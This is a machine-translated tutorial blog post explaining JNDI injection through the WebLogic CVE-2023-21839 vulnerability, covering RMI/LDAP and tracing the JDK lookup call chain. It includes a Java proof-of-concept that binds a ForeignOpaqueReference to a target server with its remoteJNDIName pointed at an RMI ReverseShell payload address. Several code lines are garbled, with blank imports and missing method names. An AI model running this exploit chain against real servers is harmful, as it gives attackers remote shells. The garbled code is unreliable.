- preamble
- JNDI injection simple to understand
-
Deeper Understanding Through Weblogic Vulnerabilities
- Difference between RMI and LDAP
-
JNDI+RMI
- Vulnerable Code Trigger Chain
- lookup trigger chain
- JNDI+LDAP
preamble
The original purpose of this article is to study log4j2 vulnerability when you can not find a complete and can really make me understand the root cause of the vulnerability of the article, resulting in I want to write a layman's understanding of what is in the end JNDI injection, how to lookup.
Of course it doesn't exclude foreign English articles with good explanations, but I would prefer a Chinese version.
JNDI injection simple to understand
JNDI (Java Naming and Directory Interface)
JNDI injection can be summarized as the background in the execution of the code , the final will be executed to lookup function , and then lookup function to pass the value of our request or other ways to be able to control a variable , and then lookup support for Remote Method Invocation (RMI), Lightweight Directory Access Protocol (LDAP), Domain Name Service (DNS).
Fixed-eye look at RMI, LDAP, DNS, adrenaline pull full, these three can be injected with JNDI (lookup) vulnerability exploitation attacks. So that's why there are many attacks for: JNDI + RMI, JNDI + LDAP, JNDI + DNS, the most lethal natural rmi and ldap protocols, to be able to remotely bind the object to execute code. (Don't be fooled here, know that these two protocols with JNDI can remotely execute the code can be)
Usually, if you want to test whether there is a JNDI injection vulnerability, you can first use DNS to detect whether there is any echo, so that you can carry out the next step of the attack.
There is also a public object request broker architecture (CORBA)
Deeper Understanding Through Weblogic Vulnerabilities
The vulnerability is: Weblogic Unauthorized Remote Code Execution Vulnerability (CVE-2023-21839)
The following source code analysis revolves around an unauthorized remote code execution vulnerability in Weblogic in 23 years to explain how the RMI and LDAP attacks, which is why I'm not satisfied with most of the articles on the Internet, not combined with a specific vulnerability to explain these two protocols.
(Purely personal opinion, after all, or reference to a lot of big brother article, all friends lightly spray)
- Vulnerability Principles
If you do not understand the following to summarize the principle of the vulnerability then also do not panic, you only need to know the final trigger or lookup function can be, the above explanation is for you to pretend in front of your friends 13 only, it seems that you are very good 13.
The vulnerability can be summarized as follows: because weblogic supports t3 and iiop protocols for binding remote objects, and then the bound remote object is ForeignOpaqueReferent, then the client through the jndi query, the server is actually calling the remote object of the instantiation of the getRefernet function, and then the function inside the lookup lookup is remoteJNDIName, this is the vulnerability point. lookup lookup, lookup is remoteJNDIName, this is the point of vulnerability, we can modify the remoteJNDIName through the reflection mechanism, that is, you can control the use of rmi or ldap protocol for remote code execution.
Note: !!! Adding to that, this weblogic vulnerability is that you bind the object and then actively do a lookup query, which then allows the backend to trigger the class you bound then he goes and triggers the lookup to execute your malicious payload.
Difference between RMI and LDAP
The difference between RMI and LDAP is really that the security restrictions are the most different, and both protocols are used in a way that requires loading malicious classes to execute commands locally.
(The difference is: there are differences in RMI/LDAP remote object reference security restrictions)
Reference Article:
/2021/10/java-jndi-analysis-and-utilization/#jndi-directory-services
↓↓↓↓↓↓There's a paragraph written in there that addresses my confusion about the two protocols:↓↓↓↓↓↓
- RMI
Referencing remote objects in RMI services will be limited by the local Java environment, the localConfigure if true (Disable references to remote objects), and false allows loading of remote class files.
In addition to this the referenced ObjectFactory object will also be subject to theConfigure the limit if the value is false (Untrusted Remote Referenced Objects), as well as being unable to call the remote reference object.
- JDK5u45、JDK6u45、JDK7u21、JDK8u121Beginning.
The default value was changed to
true
。- JDK6u132、JDK7u122、JDK8u113commencement
The default value was changed to
false
。
Local testing of remote object references can be done using theThe following allows loading of remote reference objects("", "false");
("", "true");
- LDAP
LDAP is also in theJDK6u211、7u201、8u191、11.0.1latter willis set to false by default. (But not affected)
JNDI+RMI
If you read the above and feel enough and have understood, then there is no need to look at the following analysis, because here I write the reason is because I do not believe that others say, I really want to see is not really able to carry out JNDI injection lookup attack.
-
Source code analysis of Weblogic Unauthorized Remote Code Execution (CVE-2023-21839) using RMI attack.
One thing to keep in mind before analyzing: the Weblogic t3/iiop protocol supports binding objects remotely bind to the server side- Allowed to bind the object is very important, since it is allowed to bind the object, then we need to find a lookup can be triggered and the variable can be controlled by the class to bind, so that we can realize the JNDI injection attack.
-
Coincidentally: when the remote object inherits from OpaqueReference, lookup looks at the remote object and queries the variables of theremoteJNDIName(Can be controlled by reflection mechanism)。
I found another well written article here that I referenced a time or two:/2024/01/31/CVE_2024_20931/
↓↓↓↓↓↓ One of the paragraphs explains it well ↓↓↓↓↓↓The steps of utilization are roughly divided into three.
- Create a malicious ForeignOpaqueReference object and set remoteJNDIName to the remote malicious JNDI service.
- Bind this malicious object on the WLS via the T3 \ IIOP protocol.
-
Query the malicious object via lookup
that triggers a call that results in malicious JNDI injection.
Query the malicious object via lookupThis sentence means that you can bind the server side in the poc to decide whether to take the class to lookup trigger, which is why I chose weblogic this loophole to explain the reason, his poc is to decide whether to bind yourself to lookup after the attack, it is very direct to tell you is lookup trigger, don't believe me, you decide! If the lookup attack.
Note: !!! I would also like to add again is that this weblogic vulnerability is that you bind the object and then actively do a lookup query, which then allows the backend to trigger the class you bound then he goes and triggers the lookup to execute your malicious payload.
Vulnerable Code Trigger Chain
Reference Article:/t/12297
The following figure is: ForeignOpaqueReference's parent class OpaqueReference, you can see the existence of getReferent function, this function follows the trigger lookup.
Following up on getReferent, just look at what I've boxed in, and you'll see that we just need to fulfill the following two points:
- The jndiEnvironment is not empty and it initializes our var4.
- Control of the remoteJNDIName variable enables remote code execution.
(Replace the value with our RMI or LDAP protocol for the attack)
However, all of the above conditions can be modified by writing a script with a reflection mechanism to get the variables, to put it bluntly is in the lookup query you bind the object, it will call (), and then go to the victim to trigger the background of the lookup, and then the execution of your control of remoteJNDIName, you have to control the remoteJNDIName.So here we can cause jndi injection by simply controlling var4 vs.。
The following is a vulnerability attack POC for RMI:
Note: I have not tested whether the poc is successful or not, it is recommended to use the integration tool to build the attack environment with one click:
/ugnoeyh/Log4shell_JNDIExploit
Solve the introductory poc code
- Introducing dependencies
<dependency>
<groupId>weblogic</groupId>
<artifactId>wlfullclient</artifactId>
<version>0.1</version>
</dependency>
<dependency>
<groupId>weblogic</groupId>
<artifactId>spring</artifactId>
<version>0.1</version>
</dependency>
<dependency>
<groupId>weblogic</groupId>
<artifactId>logging</artifactId>
<version>0.1</version>
</dependency>
- master code
Note that the first reflection mechanism to get the variables jndiEnvironment and remoteJNDIName, and then set the value, remotely bound to the ForeignOpaqueReference object, and then it is your initiative to lookup query ForeignOpaqueReference object.This active lookup step is for the victim to getReferent and then trigger a lookup to get your malicious payload to instantiate it and cause an attack.ps: the above deepened this "this step active lookup is for the victim end to getReferent and then trigger lookup to get your malicious payload for instantiation caused by the attack", do not understand you can go on to see the lookup trigger chain.
(I've come to a great realization. I don't know if Tomo has.)
import ;
import ;
import ;
import ;
import ;
import ;
public class CVE_2023_21839 {
public static void main(String[] args) throws Exception {
String JNDI_FACTORY = "";
// Creates the object used to remotely bind theInitialContext
String url = "t3://192.168.135.129:7001"; // target machine
Hashtable env1 = new Hashtable();
(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY);
(Context.PROVIDER_URL, url); // goal
InitialContext c = new InitialContext(env1);
// ForeignOpaqueReference(used form a nominal expression)jndiEnvironmentcausality
Hashtable env2 = new Hashtable();
(Context.INITIAL_CONTEXT_FACTORY, "");
// ForeignOpaqueReference(used form a nominal expression)jndiEnvironmentcap (a poem)remoteJNDINamecausality
ForeignOpaqueReference f = new ForeignOpaqueReference();
Field jndiEnvironment = ("jndiEnvironment");
(true);
(f, env2);
Field remoteJNDIName = ("remoteJNDIName");
(true);
String rmi= "rmi://192.168.135.1:1389/Basic/ReverseShell/192.168.135.1/7777";
(f, rmi);
// remote bindingForeignOpaqueReferenceboyfriend
("sectest", f);
// lookupconsult (a document etc)ForeignOpaqueReferenceboyfriend
try {
("sectest");
} catch (Exception e) {
}
}
}
lookup trigger chain
OK above is the weblogic vulnerability unauthorized remote code execution of a major vulnerability root cause, the following description is to know the lookup for lookup, lookup is how to load malicious payload process.
Here's a call stack for lookup to instantiate an object
(Starting from the lower JNDI_Test function class upwards)
getObjectFactoryFromReference:163, NamingManager ()
↑↑↑↑↑↑
getObjectInstance:319, NamingManager ()
↑↑↑↑↑↑
decodeObject:456, RegistryContext ()
↑↑↑↑↑↑
lookup:120, RegistryContext ()
↑↑↑↑↑↑
lookup:203, GenericURLContext ()
↑↑↑↑↑↑
lookup:411, InitialContext ()
↑↑↑↑↑↑
main:7, JNDI_Test (demo)
Go deeper.getObjectFactoryFromReference
That's the finalcriminal ringleader, main offender (idiom); main culprit。
The other call process will not be told, there is interested in reading the reference article:/t/12297
Moving on: getObjectFactoryFromReference does what, here is his source code section
included among these
-
clas = (factoryName);
Try to load the Factory class locally -
clas = (factoryName, codebase);
Load our malicious class from remote -
return (clas != null) ? (ObjectFactory) () : null;
Finally the loaded class will be returned. - If you also want to see how the loadClass is loaded inside, I was also told in the reference article that it is: the URLClassLoader to load our malicious class.
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class clas = null;
// Try to use current class loader
try {
clas = (factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// ();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ()) != null) {
try {
clas = (factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) () : null;
}
This concludes the painstaking process of analyzing JNDI through a 23-year-old weblogic vulnerability.
JNDI+LDAP
Similarly RMI, that is, there is a version of the security configuration restrictions, the above also talked about the difference between the two protocols, but the essence of both are attacked by loading malicious classes.
Being a casual cultivator is such a raw explanation, so don't be offended, fellow Daoist.
Thank you to those who see this.